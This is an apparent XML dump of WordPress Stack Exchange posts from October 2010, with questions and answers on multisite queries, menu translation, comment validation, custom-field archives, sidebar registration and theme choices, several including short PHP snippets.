  <row Id="2534" PostTypeId="1" AcceptedAnswerId="2590" CreationDate="2010-10-04T08:39:14.270" Score="4" ViewCount="1133" Body="&lt;p&gt;I realize there have been a few questions which dance around the solution I am after but I believe I am looking for something specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is actually a two part question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) My goal is to have wordpress operate in network (multi-site) mode and I am trying to figure out a way to essentially &quot;group&quot; specific sites together. I am aware of the &quot;Multi-Network&quot; plugin but I question if this is the best approach for this? The key here is to allow specific users to add/edit the sites within their own sub-network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) This is the key question of this post... I would like to know the best approach which would allow me to essentially query posts from within this &quot;sub-network&quot; of sites. So, for example if there are 10 sites within this sub-network and each of them created posts within a custom post type called &quot;news&quot; then I would like the ability to display for example the 10 most recently published posts from this collection of 10 sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I need the ability of being of being able to create multiply sub-networks which in turn means that a query of the latest published &quot;news&quot; can only display posts from those belonging to the correct group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally - I do realize solutions exist for doing stuff like this but I am looking for the best approach on both cases which require the LEAST amount of database load/queries. I would also very much like to do this through code in my functions.php file rather than installing plugins which create extra bloat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very open to any suggestions and appreciate any response. &lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-10-30T17:28:57.097" LastActivityDate="2011-03-15T20:11:27.653" Title="Querying posts from multiple sites in a network?" Tags="&lt;multisite&gt;&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="4" FavoriteCount="3" />
  <row Id="2535" PostTypeId="2" ParentId="2474" CreationDate="2010-10-04T09:44:22.527" Score="3" ViewCount="" Body="&lt;p&gt;I &lt;a href=&quot;http://stackoverflow.com/questions/3399851/how-do-i-stop-wordpress-dashboard-widgets-from-being-dragged/3477209#3477209&quot;&gt;answered a similar question&lt;/a&gt; with the suggestion to allow dragging, but &lt;strong&gt;disable saving the new order&lt;/strong&gt; on the server side. This might give you more control, and be more future-proof as the JavaScript could change quickly, but the protocol to communicate with the server might stay more robust. This example disables all dragging, but you could expand it to check for your specific box or meta page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('check_ajax_referer', 'prevent_meta_box_order');&#xA;function prevent_meta_box_order($action)&#xA;{&#xA;   if ('meta-box-order' == $action /* &amp;amp;&amp;amp; $wp_user == 'santa claus' */) {&#xA;      die('-1');&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-10-06T10:57:25.960" LastActivityDate="2010-10-06T10:57:25.960" CommentCount="3" />
  <row Id="2536" PostTypeId="1" AcceptedAnswerId="2537" CreationDate="2010-10-04T10:43:35.623" Score="0" ViewCount="220" Body="&lt;p&gt;I have a custom menu on a site with multiple languages (WPML plugin) &#xA;The menu is not being displayed in any languages other than native. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Can the menu be translated?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can the menu be shown in all languages without any change to the text? (when it's mostly names that shouldn't be translated)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="255" LastActivityDate="2010-10-04T11:19:02.057" Title="menu doesn't show in different languages" Tags="&lt;custom-menus&gt;&lt;multi-language&gt;" AnswerCount="1" />
  <row Id="2537" PostTypeId="2" ParentId="2536" CreationDate="2010-10-04T11:19:02.057" Score="0" ViewCount="" Body="&lt;p&gt;Yes, the menu can be translated, and, yes, it will be shown in all languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does your menu use the WordPress 3 menu feature? If yes, the video here explains how to setup the translation: &lt;a href=&quot;http://wpml.org/2010/07/wpml-1-8-0-with-multilingual-menus/&quot; rel=&quot;nofollow&quot;&gt;http://wpml.org/2010/07/wpml-1-8-0-with-multilingual-menus/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-04T11:19:02.057" />
  <row Id="2538" PostTypeId="1" AcceptedAnswerId="2546" CreationDate="2010-10-04T11:43:23.057" Score="1" ViewCount="65" Body="&lt;p&gt;If you use a premium theme service (my skills lie more in coding than artwork), what is a good way to show clients examples of what themes are available to them, without sending them to the theme service site in the first place (ie - without letting them see the original purchase price), but without having to purchase the theme upfront? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can make a dummy WP site and use a theme switcher, but I don't want to purchase a bunch of themes that may never be used.&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2010-10-04T14:28:04.297" Title="How can you showcase various premium themes to clients without having to pre-purchase the theme?" Tags="&lt;themes&gt;&lt;showcase&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="2539" PostTypeId="1" CreationDate="2010-10-04T11:50:40.950" Score="2" ViewCount="641" Body="&lt;p&gt;How can I set the validation rules for the comment field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I change the value of commenter name/e-mail/homepage onmouseover and onblur (I use this instead of labels - so if the field is empty it displays &quot;Your e-mail&quot;, &quot;Your homepage&quot;, etc.). The problem is, on submit, it submits this text in the homepage field (since it has no validation unlike the e-mail field where you get an error if you entered anything except something@something.something).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I validate the homepage field?&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2011-01-06T05:30:22.133" Title="Comment form validation" Tags="&lt;comments&gt;&lt;javascript&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2540" PostTypeId="1" AcceptedAnswerId="2675" CreationDate="2010-10-04T12:09:59.733" Score="1" ViewCount="71" Body="&lt;p&gt;Does someone know of a simple plugin for showing RSS feeds? I need something dead simple that only show the links and would rather re-use something before rolling one myself. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2010-10-07T03:21:51.597" Title="Simple plugin for showing RSS subscription links?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;rss&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="2541" PostTypeId="2" ParentId="2538" CreationDate="2010-10-04T12:11:14.473" Score="2" ViewCount="" Body="&lt;p&gt;You could point them to actual sites that already use the themes you want to resell. Or you could contact the theme developers and explain your situation (I don't think it is uncommon), they could create a separate site where the themes are listed without prices (maybe even embeddable in your site).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-04T12:11:14.473" CommentCount="2" />
  <row Id="2542" PostTypeId="2" ParentId="2539" CreationDate="2010-10-04T12:23:32.963" Score="0" ViewCount="" Body="&lt;p&gt;There was similar question about form validation in admin area, answer there might fit your needs: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1705/validating-custom-meta-box-values-required-fields/2285#2285&quot;&gt;Validating Custom Meta Box Values &amp;amp; Required Fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-04T12:23:32.963" CommentCount="2" />
  <row Id="2543" PostTypeId="1" AcceptedAnswerId="2544" CreationDate="2010-10-04T13:03:13.350" Score="1" ViewCount="646" Body="&lt;p&gt;I'm trying to use wp-load.php in a page outside of wordpress so I can access all the functions in wordpress.  Typically I just include the file like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require( $_SERVER['DOCUMENT_ROOT'].'/blog/wp-load.php' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't seem to be working.   Any tips on what can be going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Paul&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-06T03:35:02.773" LastActivityDate="2010-10-06T03:35:02.773" Title="Problem with using wp-load.php outside of WordPress" Tags="&lt;3.0.1&gt;&lt;outside-wordpress&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="2544" PostTypeId="2" ParentId="2543" CreationDate="2010-10-04T14:14:34.290" Score="4" ViewCount="" Body="&lt;p&gt;Including wp-load.php will not setup the WordPress query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&quot; rel=&quot;nofollow&quot;&gt;Integrating WordPress with Your Website&lt;/a&gt; for the right way.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-04T14:14:34.290" />
  <row Id="2545" PostTypeId="1" AcceptedAnswerId="2549" CreationDate="2010-10-04T14:18:00.077" Score="2" ViewCount="314" Body="&lt;p&gt;I have a recruitment website on which I want to display a list of Job Location links. The job location has already been entered into a custom field for each post so I just want to display a list of links that when clicked will show posts with only that custom value entered, ie - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;England&#xA;Ireland&#xA;USA&#xA;etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click a country link above and see all of the posts that have the country in question added as a custom field value??&lt;/p&gt;&#xA;" OwnerUserId="641" LastActivityDate="2010-10-04T14:39:56.547" Title="Show links to archive pages based on custom field values" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="2546" PostTypeId="2" ParentId="2538" CreationDate="2010-10-04T14:28:04.297" Score="2" ViewCount="" Body="&lt;p&gt;One option would be to display screenshots of the theme in action.  Many theme services allow you to view a &quot;demo page&quot; and see how the theme is presented - taking a screenshot of this page and passing it to your client is pretty much the same as presenting a stylized wireframe or stylistic mockup of the final design.  If it was an entirely custom site (i.e. you were responsible for the design as well), you'd likely present it this way &lt;em&gt;anyway&lt;/em&gt; before investing any time in actual development.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-04T14:28:04.297" />
  <row Id="2547" PostTypeId="1" AcceptedAnswerId="2550" CreationDate="2010-10-04T14:30:13.973" Score="0" ViewCount="81" Body="&lt;p&gt;I want to embed links to the archive pages with specific search criteria. i.e Links to specific categories, links to specific authors etc etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I am adding the links using anchor tags, but these will fail if the permalinks change&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-10-04T14:47:19.537" Title="how do I encode links to specific archive searches?" Tags="&lt;archive&gt;" AnswerCount="2" />
  <row Id="2548" PostTypeId="1" AcceptedAnswerId="2559" CreationDate="2010-10-04T14:35:30.873" Score="1" ViewCount="318" Body="&lt;p&gt;I am new to wordpress. I have experience in css \ html \ js and asp.net (and also a bit of php now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added to my blog certain areas that are hard coded in html and css. In these areas I'd like to be able to set text based on the admin's input in the panel's page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want a person who doesn't know html to be able to easily change the content of these hard coded areas. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1090" LastActivityDate="2010-10-04T17:19:25.253" Title="Add custom text to Page Tamplate without need to know html" Tags="&lt;wp-admin&gt;" AnswerCount="2" />
  <row Id="2549" PostTypeId="2" ParentId="2545" CreationDate="2010-10-04T14:39:56.547" Score="2" ViewCount="" Body="&lt;p&gt;I would recommend using a custom taxonomy for this, &lt;em&gt;not&lt;/em&gt; a custom field.  You can sort and list archives based on a taxonomy far more easily than by custom fields.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want to list based on the custom field, you're going to need to modify the arguments sent to &lt;code&gt;query_posts()&lt;/code&gt; on your archive page to pass in the &lt;code&gt;meta_key&lt;/code&gt; and &lt;code&gt;meta_value&lt;/code&gt; you're searching by.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add your query variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'add_custom_meta_url');&#xA;function add_custom_meta_url() {&#xA;    global $wp,$wp_rewrite;&#xA;    $wp-&amp;gt;add_query_var('location');&#xA;    $wp_rewrite-&amp;gt;add_rule('location/([^/]+)','index.php?location=$matches[1]','top');&#xA;    $wp_rewrite-&amp;gt;flush_rules(false);  // This should really be done in a plugin activation&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, your permalinks for the archive will become something along the lines of &lt;code&gt;http://mycoollocationsite.com/location/england&lt;/code&gt; &lt;code&gt;http://mycoollocationsite.com/location/ireland&lt;/code&gt; &lt;code&gt;http://mycoollocationsite.com/location/usa&lt;/code&gt; ... etc ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you'll need to add whatever value was passed in to your location to the actual query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('parse_query', 'apply_custom_meta_to_query');&#xA;function apply_custom_meta_to_query(&amp;amp;$query) {&#xA;    if (isset($query-&amp;gt;query['location'])) {&#xA;        $query-&amp;gt;query_vars['meta_key'] = 'location';&#xA;        $query-&amp;gt;query_vars['meta_value'] = $query-&amp;gt;query['location'];&#xA;        unset($query-&amp;gt;query_vars['location']);            // You don't need this&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm assuming you're storing your custom data in a field called &lt;code&gt;location&lt;/code&gt; ... so change that if I'm wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this will allow you to filter your archives based on a specific location.  If you want to enable date-based archives with this as well that will require some additional rules in my first code block (right now, this would display a list of &lt;em&gt;all&lt;/em&gt; posts with a &lt;code&gt;location&lt;/code&gt; meta_key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, I recommend using a custom taxonomy instead.  It's cleaner, more extensible, and requires less custom coding.  This is also exactly the situation for which custom taxonomies were created ... so please, don't reinvent the wheel ...&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-04T14:39:56.547" CommentCount="1" />
  <row Id="2550" PostTypeId="2" ParentId="2547" CreationDate="2010-10-04T14:47:02.250" Score="1" ViewCount="" Body="&lt;p&gt;Well, WordPres can generate these - so can you using its functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For category it would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category =  get_category_by_slug( 'example' );&#xA;$link = get_category_link( $category-&amp;gt;term_id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Similarly there is &lt;code&gt;get_tag_link()&lt;/code&gt; and on deeper level they all really use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_term_link&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_term_link()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Didn't play much with authors, there is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_author_posts_link&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_author_posts_link()&lt;/code&gt;&lt;/a&gt; and probably some &lt;code&gt;get_&lt;/code&gt; analogue.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-04T14:47:02.250" />
  <row Id="2551" PostTypeId="2" ParentId="2547" CreationDate="2010-10-04T14:47:19.537" Score="0" ViewCount="" Body="&lt;p&gt;Category archives, author archives, date archives, etc will &lt;em&gt;not&lt;/em&gt; experience permalink changes.  If you're using &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#mod_rewrite%3a_.22Pretty_Permalinks.22&quot; rel=&quot;nofollow&quot;&gt;pretty permalinks&lt;/a&gt;, &lt;code&gt;http://yourblog.com/category/my-cool-category&lt;/code&gt; will &lt;em&gt;always&lt;/em&gt; present you with a list of posts from &lt;code&gt;my-cool-category&lt;/code&gt;.  Likewise, &lt;code&gt;http://yourblog.com/author/mildfuzz&lt;/code&gt; will &lt;em&gt;always&lt;/em&gt; present you with a list of posts published by &lt;code&gt;mildfuzz&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only tricky part is if you want to display other information on the archive page (like an author bit for an author archive) ... but there are &lt;a href=&quot;http://codex.wordpress.org/Category_Templates&quot; rel=&quot;nofollow&quot;&gt;tutorials&lt;/a&gt; available for that kind of work.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-04T14:47:19.537" CommentCount="1" />
  <row Id="2553" PostTypeId="1" AcceptedAnswerId="2554" CreationDate="2010-10-04T16:38:49.953" Score="0" ViewCount="178" Body="&lt;p&gt;How do you register a sidebar in a plugin without screwing up the pre-existing registered sidebars? (The ordering of the sidebar registrations, rather than the assigned ID, determines the sidebar data.)&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-04T16:49:28.863" LastActivityDate="2010-10-04T16:49:28.863" Title="How to register_sidebar() without messing up the order?" Tags="&lt;plugins&gt;&lt;register-sidebar&gt;" AnswerCount="1" />
  <row Id="2554" PostTypeId="2" ParentId="2553" CreationDate="2010-10-04T16:44:53.127" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function self_deprecating_sidebar_registration(){&#xA;  register_sidebar( /* Your arguments here */ );&#xA;}&#xA;&#xA;add_action( 'wp_loaded', 'self_deprecating_sidebar_registration' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most themes will register the sidebar in their functions file, which is included before &lt;code&gt;init&lt;/code&gt; but after plugins are loaded. Hooking onto &lt;code&gt;wp_loaded&lt;/code&gt; should guarantee that your sidebar is registered after the theme's.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-04T16:44:53.127" CommentCount="4" />
  <row Id="2555" PostTypeId="2" ParentId="2548" CreationDate="2010-10-04T16:45:43.840" Score="2" ViewCount="" Body="&lt;p&gt;you can create more widgets for your theme and then display the content of theme where you want. Look at this page: &lt;a href=&quot;http://codex.wordpress.org/Widgetizing_Themes&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Widgetizing_Themes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1017" LastActivityDate="2010-10-04T16:45:43.840" CommentCount="1" />
  <row Id="2556" PostTypeId="1" AcceptedAnswerId="2558" CreationDate="2010-10-04T16:46:16.463" Score="0" ViewCount="48" Body="&lt;p&gt;I have my own private installation of Wordpress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed the &lt;a href=&quot;http://i.stack.imgur.com/wbuwX.jpg&quot; rel=&quot;nofollow&quot;&gt;wordpress.com stats plugin&lt;/a&gt;, so I get a stats feature like you get on the free wordpress blogs, its nice and simple, and works well&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now on my blog, all I can see on the plugin (on my dashboard) is a login screen, and when I try to login it redirects me to my free blog (which I had to setup to get an API key)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why has my plugin suddenly started requesting a login? It has been working fine for 2 weeks now&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The login it expects is the login of my free blog, and when I do provide those credentials it redirects me to my free one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of what I see on my dashboard :&lt;img src=&quot;http://i.stack.imgur.com/wbuwX.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried to de-activate and re-activate plugin, no luck&lt;/p&gt;&#xA;" OwnerUserId="763" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-06T03:29:35.013" LastActivityDate="2010-10-06T03:29:35.013" Title="WordPress.com Stats plugin is requiring login, and redirecting to WordPress.com on login" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="2557" PostTypeId="2" ParentId="2556" CreationDate="2010-10-04T16:53:42.163" Score="1" ViewCount="" Body="&lt;p&gt;This happens from time to time to me as well, though less frequently lately.  Steps I take† to fix:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to WordPress.com and log out&lt;/li&gt;&#xA;&lt;li&gt;Log out of your blog&lt;/li&gt;&#xA;&lt;li&gt;Clear your cache&lt;/li&gt;&#xA;&lt;li&gt;Log back in to your blog&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That seems to fix it for me.  It seems to be a problem with my browser interpreting the login from one site as a login to the other and passing the wrong data when requested.  I say &quot;seems&quot; because there very well could be another cause of which I'm unaware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;† Steps I take means that this works for me, on my server, with my specific site configuration.  They may work for you, they may not ...&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-04T16:53:42.163" CommentCount="3" />
  <row Id="2558" PostTypeId="2" ParentId="2556" CreationDate="2010-10-04T17:14:13.727" Score="3" ViewCount="" Body="&lt;p&gt;The WordPress.com Stats plugin is broken as of this morning. It doesn't work on any of my sites and if you click this &lt;a href=&quot;http://twitter.com/search/WordPress%20Stats&quot; rel=&quot;nofollow&quot;&gt;http://twitter.com/search/WordPress%20Stats&lt;/a&gt; You'll see lots of people are finding it borked this morning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have to wait a few days and try again once the issue is fixed.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-10-04T17:14:13.727" CommentCount="3" />
  <row Id="2559" PostTypeId="2" ParentId="2548" CreationDate="2010-10-04T17:19:25.253" Score="3" ViewCount="" Body="&lt;p&gt;You have two solutions for this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;Custom Fields&lt;/a&gt; This is a very comprehensive guide: &lt;a href=&quot;http://wparena.com/how-to/the-power-of-wordpress-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;The Power of WordPress Custom Fields&lt;/a&gt;. There are some very useful plugins like &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Field Template&lt;/a&gt; and &lt;a href=&quot;http://wparena.com/how-to/the-power-of-wordpress-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;Magic Fields&lt;/a&gt; which use them.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://codex.wordpress.org/WordPress_Widgets&quot; rel=&quot;nofollow&quot;&gt;Widgets&lt;/a&gt;. The &lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;Widgets API&lt;/a&gt; allows you to easily build your own widgets.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-04T17:19:25.253" />
  <row Id="2560" PostTypeId="1" AcceptedAnswerId="2562" CreationDate="2010-10-04T19:19:47.103" Score="3" ViewCount="590" Body="&lt;p&gt;I'm looking for a way to generate a sitemap for display on my site that includes my custom posts. I'm not looking for an xml sitemap generator for search engines -- that is sorted using Google XML Sitemaps and Get Up and Running's patch for that plugin. I'm specifically looking for something to display to users. Normally, I'd use Dagon's sitemap generator, but it does not support custom posts, and the author does not seem to be responding to queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hacks/patches/code snippets/ideas?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-02-25T17:58:24.003" Title="How to generate a sitemap with custom posts (not Google XML)" Tags="&lt;custom-post-types&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="2561" PostTypeId="2" ParentId="2539" CreationDate="2010-10-04T19:33:22.867" Score="3" ViewCount="" Body="&lt;p&gt;Comments processing is done in the file: wp-comments-post.php. You can use the hook &lt;code&gt;pre_comment_on_post&lt;/code&gt; to validate the values entered in the comment form fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_validate_comment_url() {&#xA;    if( !empty( $_POST['url'] ) &amp;amp;&amp;amp; !preg_match( '\b(https?|ftp|file)://[-A-Z0-9+&amp;amp;@#/%?=~_|!:,.;]*[-A-Z0-9+&amp;amp;@#/%=~_|]', $_POST['url'] ) // do you url validation here (I am not a regex expert)&#xA;        wp_die( __('Error: please enter a valid url or leave the homepage field empty') );&#xA;}&#xA;&#xA;add_action('pre_comment_on_post', 'custom_validate_comment_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to change a submitted value, use the filter &lt;code&gt;preprocess_comment&lt;/code&gt;. E.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_change_comment_url( $commentdata ) {&#xA;    if( $commentdata['comment_author_url'] == 'Your homepage' )&#xA;        $commentdata['comment_author_url'] = '';&#xA;    return $commentdata;&#xA;}&#xA;&#xA;add_filter('preprocess_comment', 'custom_change_comment_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-05T09:37:54.263" LastActivityDate="2010-10-05T09:37:54.263" CommentCount="2" />
  <row Id="2562" PostTypeId="2" ParentId="2560" CreationDate="2010-10-04T19:44:36.570" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/smart-archives-reloaded/&quot; rel=&quot;nofollow&quot;&gt;Smart Archives Reloaded&lt;/a&gt; plugin &lt;a href=&quot;http://wordpress.org/support/topic/plugin-smart-archives-reloaded-archives-dont-display-custom-post-type&quot; rel=&quot;nofollow&quot;&gt;should work with custom post types&lt;/a&gt; (it accepts query_posts/get_posts arguments so quite flexible).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-04T19:44:36.570" />
  <row Id="2563" PostTypeId="1" CreationDate="2010-10-04T20:24:00.587" Score="0" ViewCount="313" Body="&lt;p&gt;I'm looking for a great Wordpress theme for a small business owner. They simply want to explain their services, show some photos of the place and give some info on what they can provide. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any theme suggestions would be greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="711" LastActivityDate="2010-10-04T20:27:55.753" Title="Good Wordpress Theme for a Small Local Printing Business" Tags="&lt;themes&gt;&lt;theme-recommendation&gt;" AnswerCount="1" />
  <row Id="2564" PostTypeId="2" ParentId="2563" CreationDate="2010-10-04T20:27:55.753" Score="2" ViewCount="" Body="&lt;p&gt;Since we don't know anything about the business itself, and considering that theme choices are made more on terms of aethetics and design than on functionality, I'd recommend perusing some of the resources listed &lt;a href=&quot;http://wordpress.stackexchange.com/questions/29/where-can-i-download-wordpress-themes-from&quot;&gt;here&lt;/a&gt; to find a theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you find one that looks most of the way there, it's fairly easy to either make the final few tweaks to polish off the theme or &lt;a href=&quot;http://jobs.wordpress.net/&quot; rel=&quot;nofollow&quot;&gt;find a developer&lt;/a&gt; to do it for you.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-04T20:27:55.753" />
  <row Id="2565" PostTypeId="1" AcceptedAnswerId="2566" CreationDate="2010-10-04T20:48:38.480" Score="0" ViewCount="480" Body="&lt;p&gt;I want to add both custom html that advanced text widgets can't support and the standard sidebar widgets in the same sidebar. However, when I put a sidebar widget into the theme, it removes all the custom html and just displays the widgets in the sidebar. It shouldn't be a tough fix, but I am pretty big php noob who learned wordpress by trial and error. I have attached the code from my sidebar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;sidebar-blog&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;widget-wrap&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;Title goes here&amp;lt;/h4&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;Content goes here&amp;lt;p&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;div class=&quot;widget-wrap&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;Title goes here&amp;lt;/h4&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;Content goes here&amp;lt;p&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;/div&amp;gt;&amp;lt;!--end .sidebar-blog div--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="919" LastActivityDate="2011-01-27T18:53:28.380" Title="Adding custom html and standard widgets to sidebar" Tags="&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="3" CommentCount="1" />
